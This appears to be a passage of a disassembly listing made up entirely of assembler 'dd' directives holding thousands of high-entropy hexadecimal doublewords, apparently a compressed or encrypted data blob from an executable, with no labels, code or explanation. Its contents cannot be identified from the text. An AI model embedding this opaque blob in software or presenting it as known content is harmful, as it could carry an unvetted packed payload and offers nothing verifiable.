		dd 0B92888F4h, 72B16458h, 0A1772D00h, 8AAA553Fh, 46B49654h
		dd 1C4AA934h, 0D223982Eh, 422C8528h, 980A04Ah, 1F8AC40Ch
		dd 5CE4947Fh, 511EA946h, 0ED47003Eh, 0CE4A7AE9h, 80B64Dh
		dd 0A08A7ED4h, 219FF7Dh, 0B407F9EFh, 20424CC3h,	0E28428Ch
		dd 0E71978C1h, 3824A257h, 98C15496h, 6EDF3846h,	8148770Eh
		dd 0F7C2C6A2h, 1E6CA848h, 5320ECB0h, 6E5B4CFBh,	3945D28h
		dd 470EBC29h, 46B03FD8h, 0C3071EF3h, 0DF36A045h, 48926330h
		dd 3AC40CA2h, 0D3088A40h, 990221C0h, 3D4A9063h,	0F40F6D03h
		dd 2A8A0A4Eh, 7E04D424h, 3CB5E348h, 22EC9F05h, 0A230F54Ch
		dd 48941163h, 80D888B2h, 9F639B04h, 4400C9CEh, 35D19606h
		dd 757ADC98h, 0FF553FA9h, 0AFC86B00h, 49A78BA0h, 65BF38C0h
		dd 11CF9FDh, 0C35B0CCFh, 0D15AE4C6h, 8A21805Eh,	5DD2F9F5h
		dd 68A20006h, 0DCCC2B82h, 3F1CD54Ah, 2C00CB4Ch,	0F4294EF7h
		dd 185661D4h, 83A82F0Fh, 24CC4540h, 3AC098AAh, 9FAC3CA4h
		dd 429D8B4h, 105875A4h,	3BA908CCh, 8AF191D7h, 480ABC9Eh
		dd 0DBC48092h, 6397005Ch, 155B5C78h, 9D5D4907h,	5816A821h
		dd 48E300C9h, 149F7FBAh, 7800B767h, 0F671BBF7h,	861258h
		dd 0A9C13C65h, 0B4A425D3h, 2F147D76h, 40CC3E10h, 0A200794Ch
		dd 0A6209AE8h, 1F390121h, 39F7865h, 0C988582Eh,	4420E0E6h
		dd 0CB480870h, 2D0465F9h, 4A409ABCh, 7E45F011h,	21200E0Eh
		dd 8D55CE58h, 43F078B5h, 0CEB9C14Ch, 48D1E82Dh,	0CA40CBE4h
		dd 52B1EABh, 0C09E1549h, 44C4950Eh, 0F46E151Dh,	0F91C8723h
		dd 0ECCF1842h, 1061195Ah, 0F9F186h, 0E3985031h,	0CA8AA39Bh
		dd 2854CC0Ah, 0A001E43Dh, 0BBD34C61h, 2B958081h, 8F717CC4h
		dd 0E8E2F0E8h, 0C982341h, 0AA6155A8h, 0A185B00h, 1B217F3h
		dd 99230088h, 5403256Ch, 61EADBBEh, 45F640C1h, 3989513Fh
		dd 2420A62Eh, 0DE217B3Eh, 19059172h, 0C4742D51h, 44CC8C1Fh
		dd 0A13EF93Ch, 48106CB4h, 3760F1DBh, 789CF058h,	35FC0ACBh
		dd 64943075h, 0F9FB6089h, 0FCCF211Ah, 0F9F388C0h, 0ACF51D34h
		dd 510E40BDh, 3545B1F4h, 90E9BC30h, 30DB4A86h, 0FF786469h
		dd 2500409Ch, 85897717h, 137F5FAh, 0E1816609h, 0ED8D367Ch
		dd 0F1780C8h, 9D29D0B7h, 35243C51h, 0FFFC5082h,	11A7EAB5h
		dd 859591CFh, 0EC8A012Ah
		dd 2C715A8Fh, 0A7BF0C10h, 887C585Bh, 5F00F952h,	8AF18150h
		dd 14563648h, 2ED3D180h, 85D4698h, 8B311082h, 5593E8Dh
		dd 31EE2566h, 531C6A70h, 23203E8h, 91226320h, 0AC3A5C89h
		dd 21178CAAh, 0C3530343h, 0DB989C6Ah, 0C8BA022h, 0DC9BD89h
		dd 0E62980F3h, 0D4314DA0h, 4B4C54BCh, 2D9D21BDh, 57C8F210h
		dd 91C35FC3h, 1A187C89h, 574788h, 0DFEEDBC3h, 0D9CA2FBAh
		dd 3B9B94Ch, 4686CB4h, 0BD284101h, 82B610FBh, 8A3079F6h
		dd 0BD014706h, 0C3046C25h, 398C5584h, 8911C35Dh, 0A41C886Ch
		dd 3AC30000h, 85748CE4h, 8670310Dh, 0F7D16E0Eh,	4079CF48h
		dd 47EF0F24h, 0EDB5C13Dh, 8F601331h, 50C98D43h,	0A0610F8Dh
		dd 832F2596h, 0E1A306BDh, 87504B11h, 0E2178053h, 6A1C85FDh
		dd 0B51702D8h, 0ABDFAE4h, 938015Bh, 1DB33F85h, 0BCEE81Fh
		dd 7335D700h, 6D09455h,	666F0038h, 0E95ACB8Bh, 0ADCE160Ah
		dd 312288Dh, 23CDBD83h,	2E2A08B5h, 52469FA0h, 89C8C251h
		dd 449FAC54h, 523F4219h, 0DE5303C3h, 3699E45Dh,	5D86055Ch
		dd 814D8422h, 0E0541FA9h, 95899701h, 23221169h,	930A4915h
		dd 0AEE95F05h, 23493A15h, 45A10115h, 94E5958Bh,	9DF8E961h
		dd 4F0B0558h, 0A8B619B4h, 150A9A6Bh, 9725C54Ch,	0EEAD49BDh
		dd 71455029h, 229181Dh,	0DA2A9865h, 6C40FD50h, 82480F31h
		dd 12F19422h, 0F72330A1h, 77B35779h, 5FBB712h, 28B2C5CFh
		dd 184584DFh, 3A886225h, 6600F7A8h, 0E9D8FABAh,	2925CC12h
		dd 32A104D4h, 772BBE91h, 26545D49h, 46743050h, 0B4CC1915h
		dd 8110E054h, 0C21172D7h, 8C732141h, 11C35839h,	67904489h
		dd 0C3504000h, 0F28EB1E8h, 0BF0FD309h, 59A102D2h, 13882227h
		dd 30AE823h, 0DAEC3D0Bh, 2680C402h, 0FF616624h,	835AC93Ch
		dd 8F2010EDh, 0A0C0E4D0h, 8926A1A6h, 798E2475h,	18743044h
		dd 2C535019h, 749D3B8h,	0C18508A6h, 9D8D032Ah, 0F005B438h
		dd 585BD3FFh, 8172262h,	0B1277820h, 0B531148Ch,	8511725Dh
		dd 71E74004h, 0A78E1568h, 59875111h, 4C8922C3h,	41111B31h
		dd 94E07A51h, 640E0169h, 0F18D026h, 845238Fh, 9045595h
		dd 8910BD81h, 6524726Fh, 55273561h, 4FB1F9C2h, 0BF0E8850h
		dd 24E064F7h, 0BF00D864h, 9D85C60Ch, 4412C017h,	0A3184F68h
		dd 123B9658h, 4D210EC9h, 88653898h, 0B1D8D602h,	0DC26D32Ch
		dd 0AE4AA679h, 8742493h, 6EBC28Ch, 5B157F4Ah, 23B81094h
		dd 0C35E0E56h, 8E748945h, 5646006Eh, 698402C3h,	8D5A168Eh
		dd 3111017Ah, 526619Dh,	0ADF7D80Ah, 8B058F08h, 0A48FE3B8h
		dd 0C5174476h, 6C3A132Ch, 2F001723h, 0F5280E65h, 0FF2530FCh
		dd 0BEE5801Dh, 5F8830Eh, 19738D0Fh, 7268ED9h, 1D039110h
		dd 0E6FE85C7h, 0E821010Ch, 2381298Dh, 0BD3E15D7h, 17A24C53h
		dd 0BE0FB30h, 22B6865Dh, 2948990Fh, 3F58E90Bh, 0F5D6004Dh
		dd 72B62E66h, 4269F90h,	1659A0C6h, 0CA22F513h, 8830C269h
		dd 1081E96Ch, 0DE199529h, 504B7A84h, 12D256E0h,	0F20D1A56h
		dd 0BF23217Eh, 0CB2D8800h, 7063C403h, 4C4F9800h, 0AE1FC84Eh
		dd 0EDF006BCh, 2F0CE80Dh, 28637C00h, 151CD69Ch,	4BFC01BEh
		dd 0B5295023h, 59C85275h, 2591E7C5h, 568B5D76h,	132B3584h
		dd 7106D22Dh, 8110F90Ch, 0EA2E03F1h, 0E60824FAh, 80600111h
		dd 0E96168D8h, 0F9F79328h, 53BA4900h, 4A36FE7Fh, 1443BE60h
		dd 0E304421Dh, 0F0EAD057h, 385A002Bh, 9EB62253h, 6E7F99D3h
		dd 26D19140h, 7ECA615Eh, 0D4F2D447h, 22B28B17h,	3E876800h
		dd 0F5D37D54h, 1A236A3Ah, 90B4813Dh, 3226E61Fh,	304FB440h
		dd 68611460h, 0DE45C33Fh, 89851B07h, 0EE8A821h,	83050B83h
		dd 72F8A68Fh, 290F44BBh, 26357056h, 819A59F5h, 0A82D6AAh
		dd 1B419D01h, 5920305Ah, 0F460482Fh, 0A84C8F58h, 22BD1088h
		dd 58BB000Bh, 7A743B19h, 0E709201Fh, 4A61F32Bh,	0E9480457h
		dd 8248A4h, 316DAFFCh, 4D569CA8h, 2502AFA1h, 9201FB87h
		dd 1C66D281h, 108F1FD6h, 4499D89h, 15087693h, 0C91025B5h
		dd 19118217h, 0A572C980h, 3A01C63Ch, 0D7D6C781h, 0F9367CA8h
		dd 13F99540h, 61860F50h, 0BA260181h, 14CFDC7Fh,	590830A9h
		dd 0B08EBC92h, 6248B003h, 61F076C1h, 475D2F84h,	2299FF68h
		dd 65FAB703h, 26149159h, 1104933h, 70AC5F88h, 2727E90Ch
		dd 351CC8F8h, 4674A5A4h, 66A30114h, 50EE67B9h, 1F69CC40h
		dd 454E9435h, 0D1F20960h, 81664BA3h, 82B507B3h,	0FE91B563h
		dd 6E32E9h, 723117A6h, 422233Dh, 0CCCDDD66h, 0B44F8416h
		dd 80510F73h, 64E4218h,	398D8920h, 8B6AC40Bh, 194588CAh
		dd 0ABF6688h, 7E87E2Ch,	0F3D0009h, 0C0976803h, 5FD3BCA0h
		dd 292FE928h, 0A5068532h, 0E4134051h, 1E7A1BC5h, 8CF5C05Ah
		dd 56691A0Ah, 24FB6BA6h, 0A0A8F13Ch, 53034445h,	6A5FF80Ah
		dd 4674BB10h, 81CE3917h, 8D29FB51h, 648102E1h, 55F676BFh
		dd 0CD0C2272h, 4E4E3F44h, 0FC01B88h, 95DF423h, 0D8EECA32h
		dd 99FB5304h, 91FD012Ch, 1FE90110h, 8B03FBAh, 0D2C30B0Bh
		dd 35CEA204h, 3C98F094h, 0C7A4E9h, 607929F1h, 50DB2D18h
		dd 59C85750h, 24B11592h, 351815F9h, 0E5CE44F1h,	0A2DB63F6h
		dd 0BC173019h, 0F1CB8B0Bh, 40A23290h, 0AC226909h, 0B0E81F5h
		dd 0FD0781F8h, 12274CFAh, 0C2DDBD23h, 64E76AEAh, 5D601A64h
		dd 66091F10h, 6181D7F0h, 2A4601D6h, 15314F70h, 89257E2h
		dd 80840367h, 0CC819DD1h, 7128A0C9h, 66DC114Eh,	22188A70h
		dd 0FC89018Eh, 32537C26h, 0B83119A2h, 3427BDF4h, 0A778CB68h
		dd 0DEB21870h, 983CB55Ah, 0F8BF06C8h, 2580685Ah, 6AC88A00h
		dd 45852903h, 8645A217h, 900ACAEAh, 3FB55845h, 0B1E8FC7Eh
		dd 82790069h, 5898D3AFh, 6533CC00h, 7EAA07CAh, 0ECF014Ch
		dd 5950C980h, 0F9753061h, 3B68EC32h, 443DC7C0h,	6B2D6018h
		dd 0EFAF25EEh, 1860110h, 5F7C000h, 9B973921h, 25D73BFh
		dd 0C49C56EDh, 0C08BA56Ah, 68ED1EA9h, 5C40F0C7h, 144CD03Ah
		dd 8AF6F199h, 211AE117h, 2244101h, 0F88D8F9h, 0F8834386h
		dd 1811C9D4h, 0DA1F7E06h, 0B83D5411h, 93816ECh,	28D23B1Ch
		dd 0C092694h, 0A9428502h, 8C4E850h, 2625718Dh, 325908F0h
		dd 0C026113h, 0C75AF59Fh, 621464EBh, 0F1C74164h, 0BFD06941h
		dd 7FF922C9h, 0EFF25E88h, 0D0C6012h, 0B0F709F8h, 13F14B58h
		dd 8A0281AFh, 0F83A28EFh, 0D8E48FD8h, 0D9CD502Fh, 0F802B4B6h
		dd 0D03DBD8Bh, 2988CA92h, 5C1010E3h, 14DB921Ch,	1AC5F480h
		dd 8C580F7Bh, 0F5BDC4B3h, 0B16A01E0h, 1816D92Ah, 0FB4A12FFh
		dd 0F08027E8h, 0FE92EC35h, 4F8A3A00h, 60F2FD2Eh, 7450051Bh
		dd 0CC5D9DB9h, 0C1002413h, 6D514CA8h, 44543F3h,	5985C4CDh
		dd 185DB66Ah, 0E70B11E9h, 75060047h, 11B0F45h, 630EFA03h
		dd 2D03E0Eh, 8BE97DB2h,	0F9C60072h, 941E63CAh, 0EE376B8Ch
		dd 0F894D87h, 9D61A1EAh, 18621BF1h, 1AE22B42h, 2D32730h
		dd 7E01DC50h, 74D2E9D9h, 44947900h, 0E31FB370h,	0C9062513h
		dd 29E9B419h, 704C00CDh, 0B0FEE8ABh, 0A0260134h, 688AFD36h
		dd 943628D4h, 0DEA93F30h, 4584112Ch, 0A5628925h, 0A0394E05h
		dd 4BE9D7AFh, 9807702Eh, 4703BB93h, 113B49Ah, 0BA2C73CBh
		dd 0E091960Eh, 0B39E16A4h, 87DEED3Eh, 4076958Dh, 0C2A1AA10h
		dd 5CDA2F2Eh, 1611F31Dh, 7F9B5780h, 4A94CF8Ah, 8D4008C4h
		dd 6C969D9h, 0AF911717h
		dd 0CCFC2562h, 60408DEBh, 0F979B6Fh, 89148F58h,	3D685F60h
		dd 7C000449h, 0EB43999Eh, 78CBBFAh, 0E0B85B3Dh,	612BE023h
		dd 0BE285C7h, 70AF3552h, 299A2948h, 0A534DC0Fh,	1D8DC21h
		dd 62BAEF07h, 0F8E4DC10h, 507C1195h, 1AA2B873h,	477AA30h
		dd 4EE36C1Eh, 0E919C115h, 9901130Bh, 76694D95h,	71308C2Eh
		dd 8690F6E9h, 0E30F1673h, 0A07B14B8h, 3AEC9DEEh, 6CB628C0h
		dd 69FE45C6h, 15FB87Eh,	0D1E88423h, 30CE7B83h, 8CD1CAA9h
		dd 8C1DA8EBh, 0A6E69F00h, 77BE5EE0h, 0B04AEA52h, 0ABD20B7h
		dd 3825C396h, 96078119h, 8D2BC2F6h, 0C09E3E42h,	0FA2B3144h
		dd 922F4269h, 9DA76A30h, 8CE71EABh, 1721DB89h, 6D84C8ADh
		dd 292BF500h, 7C439CA3h, 0E2ED01AFh, 0B7B45EB6h, 0CC26E0h
		dd 9E14CA81h, 0B35006D7h, 0BE2B7801h, 0D104BA7Eh, 7BF0C1FCh
		dd 4EB6BF98h, 0B722152Ah, 8B82B695h, 7E58398Dh,	1527D785h
		dd 8E1691BEh, 72620C20h, 14F681D1h, 3A00ACE2h, 0B8D2514Bh
		dd 0BD00F9CDh, 570F314Ah, 2C89F3F8h, 92E90D95h,	8D94985Fh
		dd 786046B1h, 1F288Ch, 0FF9FC8CEh, 265E98A9h, 7E623A04h
		dd 0C9817B4h, 0F9B53931h, 523FE9C0h, 0C2BAF1F6h, 7070F332h
		dd 2F06564Fh, 45DCFF90h, 0BE208001h, 672782C1h,	0BDC4E46Dh
		dd 6E590C0Eh, 960D7705h, 1446748Eh, 858BDE01h, 58352E71h
		dd 9E00899Bh, 3CAA5D1Ch, 0DF0367Dh, 0F87C1E87h,	1B846052h
		dd 5EE95A80h, 6E7717F6h, 66B5006Eh, 19A9CE6Eh, 8E591EBAh
		dd 0F904898Dh, 17110B1Fh, 0C25E0792h, 218D3286h, 0B542B85Ch
		dd 20B5440Dh, 0A980A719h, 3C942A75h, 0CE46B99Dh, 787C3390h
		dd 67082866h, 1AC920B5h, 0D0407D96h, 0FA58CBA4h, 8BA502A7h
		dd 4D8D01F3h, 0FC528C50h, 0C08D4834h, 597D3108h, 5C1C008Fh
		dd 0CF4B4863h, 0D8359017h, 920D8487h, 86A74711h, 61F164B3h
		dd 0CF810001h, 88A214CEh, 0ED945124h, 68C18E8h,	0CCF348DBh
		dd 0B505F6FCh, 0E8C08B9Eh, 9BB66F4h, 37F2EAD2h,	5A4AB950h
		dd 0D923B43Eh, 0CB0BD9F9h, 0C9D58260h, 8D29012Fh, 613834F9h
		dd 90FABACDh, 5CCBBAD4h, 451094DBh, 13502522h, 2F07D06Dh
		dd 2ACE0751h, 40BA40B0h, 0A593C264h, 3D24737Fh,	591C1EECh
		dd 0B05F7720h, 8D8527CFh, 9E531086h, 7E1FE95Fh,	5D8903CEh
		dd 0BB50430Eh, 0E8203806h, 5B8F3821h, 4D09538Ah, 74D74445h
		dd 60C9B6B6h, 3C46676Ch, 72EF912h, 250070F1h, 4C75BF66h
		dd 1DECF1FDh, 5E0E018Ch, 8CE6A55Ch, 5C63CAFEh, 1541EB4Eh
		dd 2DCD8060h, 267076A0h, 441F870Fh, 15928C50h, 0F20BD401h
		dd 5AC44A2Eh, 6778F8F9h, 119F0896h, 0E1410A5h, 0D7F203CAh
		dd 92105A13h, 2FF37998h, 4BF238D2h, 3F301DF2h, 0DDBC00F1h
		dd 81F875DBh, 0FDA1E38Ch, 38B32539h, 0AEDD9FEh,	90846803h
		dd 0C5BA6093h, 3870A500h, 53613AB7h, 26BB90F8h,	0F6C1117Dh
		dd 0DE8CD18h, 1583913h,	2F90A4B7h, 0F8988340h, 0EF1E3AA5h
		dd 9683E981h, 2A5F3684h, 88C7E576h, 0C5131Fh, 0F24CB34Fh
		dd 0CE3FD4F9h, 0CB93A805h, 37995AF5h, 0D19B202Eh, 277DDAFBh
		dd 4D4B26B1h, 65F34038h, 127CE08Ah, 0D4053A24h,	0A6E2991Dh
		dd 8BFC0715h, 0A2C71840h, 7F510275h, 0D1BF0F85h, 242298CBh
		dd 0C1151A9Dh, 0BE51C1CBh, 11408C3Dh, 9901EB83h, 2BA52796h
		dd 0C5571EE9h, 48963DF9h, 9AAFD318h, 39038298h,	0D0C90E0Eh
		dd 0D8F372E6h, 1AB11625h, 9D784A2Bh, 0E8FB004Fh, 0AFB3802Eh
		dd 605CA3DAh, 1DDF0910h, 0D10287A2h, 0E611808h,	71823341h
		dd 1C519689h, 6B0E51C8h, 0A9B790h, 77B123BAh, 0EF2EA66Fh
		dd 212082CCh, 9C24E8BEh, 65F99B28h, 0F10033FFh,	841F0BC6h
		dd 582E0BC6h, 8C1BE844h, 0D4033572h, 15D5E389h,	0E9B4537Dh
		dd 0B3015A2h, 0AD98AB13h, 0B16D682h, 540CE304h,	1063563Ah
		dd 234F2BF9h, 1F584CD9h, 8C1CE880h, 0EFB6500h, 2933166h
		dd 0F5ED2503h, 2705FBC1h, 7FC84EB7h, 0E58D1003h, 0BFE91429h
		dd 45823811h, 0C8F9A14Ch, 111101AAh, 69BD3306h,	0EC484132h
		dd 0F662DCA3h, 0FFF038D0h, 17A2ACD3h, 283E9030h, 2CD9A62h
		dd 6163BA51h, 44ED68BFh, 217FDD44h, 93C87ADDh, 30CC981h
		dd 8030E3A3h, 0BF884C0Fh, 56D4BA80h, 3901D93h, 132D4D20h
		dd 0A40217E9h, 0FE6AECCCh, 16DE4656h, 20E988A4h, 0CAEEF11h
		dd 3E54F400h, 2D55C2DEh, 63A302D6h, 19DB65BFh, 97D37661h
		dd 2757E4DAh, 1831ABC8h, 0F1286595h, 0FC40F485h, 0DE8B2760h
		dd 9196BC90h, 0CF841800h, 61C421B6h, 86049F40h,	802F101Ch
		dd 73871FBFh, 346A3160h, 751E1156h, 65931C6h, 5198FE14h
		dd 0A125A120h, 0D8300740h, 66014062h, 0F6DB8C04h, 4C8204C3h
		dd 50D129FCh, 52685680h, 8F9CA8B8h, 4046A0Bh, 0DB1D10FDh
		dd 0BCEE8164h, 84015720h, 6847022Dh, 0EC18AC9Bh, 8B04C53Ch
		dd 4F1E20F0h, 263D6168h, 0ED21C02Fh, 5332500Eh,	6A067DDDh
		dd 14185628h, 7575C085h, 986841C0h, 0DB568764h,	70D0992Ah
		dd 684C070Bh, 8025E7A4h, 228B2068h, 5BFC579Dh, 7B0A044Ah
		dd 56B8545Ch, 3C71215h,	43D843A5h, 702500Ch, 303D2685h
		dd 5A6AC553h, 2E194702h, 448B49B5h, 45672811h, 0F7976804h
		dd 7D0492A5h, 679A3905h, 28B00C02h, 60A63275h, 35A1B4DAh
		dd 2C0C234Eh, 2D344DE6h, 339035h, 9A9447E5h, 968503h, 200EED23h
		dd 0F59D293Ch, 0A4670C50h, 0F563361h, 2670FEB7h, 487B09E2h
		dd 7C016050h, 3D0AF0F9h, 27B9C429h, 0FF646103h,	6D1FADh
		dd 6BCB18A1h, 0C9498D89h, 0DE643BBEh, 0E9F72013h, 2C8CB3A1h
		dd 0AD2A80B6h, 48050657h, 72388Ah, 444681Ah, 0F046B389h
		dd 0BA66F703h, 95F6FDBh, 0B4E9D7D6h, 0A365D184h, 3F732114h
		dd 126E0A2Dh, 0FA5D1833h, 193A10DEh, 22644D1Ch,	5470B056h
		dd 0EC808891h, 0C8055A70h, 9BA643D7h, 29DB7554h, 1542DECh
		dd 2EEBB8D9h, 1423DA3Bh, 0D1807D02h, 0F659BBh, 9D157556h
		dd 0A127F81h, 0C7F043C3h, 0DBF6A1A4h, 1888C04Eh, 0EB251DC0h
		dd 462A5D74h, 33F388D2h, 4F21C05Fh, 0E2FCF59Bh,	0D45400BAh
		dd 408A69A8h, 7133F0Fh,	79F2640Bh, 613AA5Ah, 0BF8007DBh
		dd 0EB9372Ah, 0C8D4340Bh, 0C11D02D5h, 0F2600424h, 435601A3h
		dd 9CCEAB7Eh, 620AC4h, 10B1526Eh, 858B75A3h, 4191215Bh
		dd 0AC70FB83h, 89124484h, 360656C8h, 0E089BEF6h, 0F8239DCEh
		dd 8A0D7D98h, 4C8B01F5h, 81C70C24h, 0FF1999A4h,	0B8E98303h
		dd 9D041594h, 0F48BC314h, 0E1820C28h, 0ED815D10h, 14D2C649h
		dd 501B838Bh, 344074DEh, 5D0CA989h, 0B74D4FADh,	0C96287C0h
		dd 2F4E4B89h, 19142351h, 81BC98AFh, 25BF66B1h, 0EC6150EDh
		dd 95A1527h, 109628EBh,	0B9CA8A0Ch, 0B80F0Ah, 4855D704h
		dd 0F7816405h, 65BB0D00h, 0BA8685D4h, 34B63840h, 0E8EA197Dh
		dd 0DCED0C5Fh, 582468FBh, 0A16874Dh, 0FBD1305h,	42D561A8h
		dd 239B2EA4h, 78FC001Dh, 9DF547ECh, 7EB3A10Bh, 2194059Bh
		dd 7BA93B0h, 2DC74C88h,	0ED8BF4B1h, 120A4841h, 8DDA22DDh
		dd 21043D84h, 9F082CA9h, 7020E885h, 188CB140h, 9799BD33h
		dd 2B95860Fh, 337C456h,	0D0FE0851h, 9C7D1A40h, 0B8B13A55h
		dd 2E311663h, 5678991Ch, 7845E001h, 70650063h, 6E6F6974h
		dd 66E64920h, 6D2872ECh, 0E0800C61h, 73F2656Ch,	206F2CE6h
		dd 0A7648E08h, 39DF6874h, 99C76C36h, 67F96977h,	64E963F9h
		dd 28BE73FDh
		dd 6196FBF9h, 0E381E540h, 2A3A2EFBh, 54200C6Dh,	0EC6B1668h
		dd 0FE75F679h, 40D6F0Ah, 28C601F4h, 73604670h, 52544362h
		dd 0FF2B754Ch, 699ED1B3h, 64971E66h, 0A18FD8A0h, 8A87970h
		dd 62F2696Ch, 721461FEh, 40362964h, 657D5642h, 7F997352h
		dd 25793D7Fh, 87431ECAh, 496B6302h, 640FA44Eh, 54554F70h
		dd 72501F8Eh, 851DE86Fh, 643BB40Fh, 69E6060Fh, 0F873D74h
		dd 2A6F1E21h, 18348E50h, 0E3071E75h, 1A5B95BDh,	52B462F0h
		dd 0AF572D8Dh, 0C122F7C4h, 25686BAEh, 67952503h, 85242769h
		dd 190A3823h, 0E12C072Eh, 0A2D5164Ch, 59D3C324h, 0FD0AD365h
		dd 5125351Eh, 0E7230E32h, 110E3E59h, 46A8AF34h,	0AC521187h
		dd 3B118742h, 118736ACh, 873AAC43h, 18A94A10h, 1A40ED0Ch
		dd 1DA258E9h, 2C5DBD82h, 95543A46h, 1C42190Dh, 817E244Eh
		dd 0C05FDh, 0BAF8C281h,	8B57B16Bh, 5E4958Dh, 28345230h
		dd 5FD4C340h, 5B9E863Bh, 88A166DDh, 9D455584h, 4CC31345h
		dd 654D1AF1h, 84501118h, 54C83243h, 583C3E44h, 0C8424384h
		dd 5436445Ch, 0D5DEA7DCh, 2868A2AFh, 325A29CDh,	36193A0Ch
		dd 4386420Ch, 9132213Eh, 280A502Eh, 60141C93h, 1F9D8707h
		dd 6111D9FBh, 25406A24h, 4E190B2Ah, 1844977h, 8B0EDEB3h
		dd 0D76E60C1h, 0C87BC0A9h, 24EDF70h, 0F728B4D9h, 2BD8525Dh
		dd 237E789Eh, 5AF3040Eh, 4FBC2F40h, 7880CFDAh, 6CB9C5EDh
		dd 0F60C409h, 5106E880h, 0FBBE0B5Fh, 0A89A466h,	0E70E3D3h
		dd 9D41E954h, 202F59CEh, 8A9E8F9Ch, 0B256CB00h,	87D7C663h
		dd 88571F1Fh, 81BA96C7h, 38F6BFD6h, 842DA333h, 7DA7F2B7h
		dd 0C3AD6CE6h, 617DE9D0h, 8CF774F9h, 3C202FDFh,	38D0EB61h
		dd 5F00D357h, 27A594Eh,	0DDF2C224h, 0F7461861h,	0B72404C7h
		dd 604DCA57h, 5D268078h, 53225E3Ch, 6AC66C00h, 1E6446DFh
		dd 2F2B09A3h, 0EAC6BF61h, 1DC457A5h, 2BC1F960h,	2ADD0501h
		dd 0D6B4AFEDh, 0D5B96250h, 86130163h, 7EEA76FFh, 4029D08Ch
		dd 0C50BBD09h, 0FB2A0237h, 20B7423Bh, 95EA475Ch, 0F516002Dh
		dd 0D97C35A6h, 6CF8ADDAh, 50BEBA16h, 3B53DC8h, 0A4B4529h
		dd 89B8A1C7h, 0F74241Ch, 0BE4A90B5h, 645C4BF7h,	129AFC5Fh
		dd 5ED9E9E7h, 0E8B04317h, 0ED6ABCh, 643D8DEFh, 2BA2718Fh
		dd 925E6C00h, 0D8BAC48Bh, 60E904E6h, 0BCEB01CDh, 8C15E889h
		dd 0BABCAD05h, 0FA12ABCBh, 7380A4DBh, 5FA3324Ch, 88EC8B01h
		dd 0D0C58042h, 0B693932Dh, 0F4F5E07Ch, 0CFFE9D1Fh, 17F1DB0h
		dd 0A42300BFh, 0C2B63E7Ch, 0DD1D733Dh, 8F00E778h, 803B2716h
		dd 0B2224C9h, 0D48416AEh, 0E8938203h, 0AF001544h, 0B4D3CB5Dh
		dd 1DAB56Ah, 74B97DD1h,	0CCBAA6D0h, 83500FCCh, 615F5E62h
		dd 0B703286Eh, 52503BC5h, 98DE8090h, 0B15A5E26h, 99BD8D02h
		dd 0F48CDC70h, 685D3A00h, 0BAF8AF61h, 3F3116D9h, 40E971Bh
		dd 1FBAB250h, 4F804D5Dh, 0FF5E3F29h, 8FB7BFE7h,	0DD127A00h
		dd 4F7C27C1h, 10400957h, 0F0233E6h, 0FE0140B6h,	5DB004C8h
		dd 227126Ah, 0D93A8B5Fh, 226D001Ah, 97D33C40h, 0D8F28504h
		dd 33AD92F9h, 0F61ED3B8h, 9CC55C34h, 52B0A55Bh,	617125FAh
		dd 920366C4h, 0D8721A82h, 0CB4EE079h, 0B77101EAh, 7ECA8097h
		dd 3BAB6159h, 1A02616Eh, 6EB1C43Eh, 6D69A4CFh, 2F0E64D3h
		dd 82BE601Dh, 6170A8C2h, 33E632CDh, 27C2E4B4h, 0D01F18EBh
		dd 240FDA0h, 0E3249260h, 29C46369h, 0C261063Dh,	0E6E92DD8h
		dd 14608706h, 85F60840h, 504F335Ah, 0C7F84F24h,	9CB58B21h
		dd 0E670818Fh, 60338A95h, 9588E864h, 43C65F81h,	65B53BECh
		dd 860F390Dh, 20D851E9h, 0E622F2D8h, 506FC0CFh,	24C88C66h
		dd 5F0A0326h, 0EF812AA0h, 125B72BBh, 8F90858Bh,	580A1886h
		dd 6741CADBh, 0C61EF107h, 44C62404h, 30FF50CFh,	95FC0857h
		dd 2B1EB54Ah, 4010FC9h,	2D80FEA8h, 0B6531CC0h, 89668F2Eh
		dd 209FC6Ch, 2B535B57h,	82A04C09h, 224344E1h, 5326BBE0h
		dd 80CB0CEFh, 84C303E3h, 764B3868h, 2FC7765Eh, 0E7982EC9h
		dd 0E6DD448Bh, 8AC59814h, 3CBE0689h, 3EBC7218h,	1662348h
		dd 0A25B53BDh, 6016A322h, 0B1A63E80h, 0B7A1BB00h, 1B0763Ah
		dd 5AB1B172h, 0C88AAC80h, 0E432C302h, 0AACB0CD1h, 140D20Bh
		dd 640A4A88h, 5BE5D6C9h, 50DDC323h, 26521011h, 0BBBD48Bh
		dd 9EC2087Ah, 80AA2101h, 8DB0C23Fh, 0BCA85A5Fh,	566E5153h
		dd 99DB4B32h, 0D8E8AC39h, 81D301D1h, 465ABCC3h,	0FAB0BC37h
		dd 970B4932h, 828B25E8h, 0F615979h, 637B4D60h, 0EAAC32C3h
		dd 4077B42Ah, 438EE7C0h, 0D80F50DFh, 3C04A832h,	6D49929h
		dd 7433A825h, 8F0C6053h, 8D210A85h, 6A102ECh, 8927F2BDh
		dd 4E23E9F3h, 8B1B8C3Fh, 502407Eh, 9B46F317h, 19219289h
		dd 0ACFE3C14h, 0A31F1E46h, 0AE88E430h, 698768E9h, 1276A4DFh
		dd 7A4D0072h, 0CAB2B80Ch, 0C4A94527h, 7206E066h, 0C8D10030h
		dd 0FF73B46h, 8DA4F182h, 4B08EA81h, 284CD928h, 5682284Bh
		dd 13425351h, 0C4A2C02h, 3C28674Ch, 0A44C92Dh, 34980004h
		dd 0C1D83213h, 1C9008C3h, 1CA067AEh, 5E51595Bh,	92980137h
		dd 4F5D083Fh, 0BAC34A0Bh, 2A9D880Ch, 4D31E244h,	25AE040Ch
		dd 48A3831Bh, 78E4B688h, 0A5AF8406h, 2687797h, 8A0F4EFDh
		dd 6E09402h, 0FE127AF1h, 7C04F95Bh, 0BD76CB8h, 5CE868C4h
		dd 40028784h, 575F50B2h, 0EFDA0081h, 5A6DACECh,	1F0434FFh
		dd 58D3B70Fh, 4A83808Ch, 12A98A94h, 0FFB4C95h, 0C06062D1h
		dd 0BDB5060h, 10F78B30h, 68D85DCh, 8ABE6672h, 0B10014E3h
		dd 8B4FABFCh, 7B0489F0h, 88C9003Bh, 0F133733h, 833EF3BFh
		dd 0EE07FCEFh, 3895937Bh, 0B5E0FF63h, 0A8853491h, 7C8C355h
		dd 24411E9Bh, 0FEA100BBh, 1331EB35h, 0D4042D50h, 9111AD60h
		dd 0EC3C65h, 462B377Dh,	7651D5B5h, 492CB700h, 0B2A03B20h
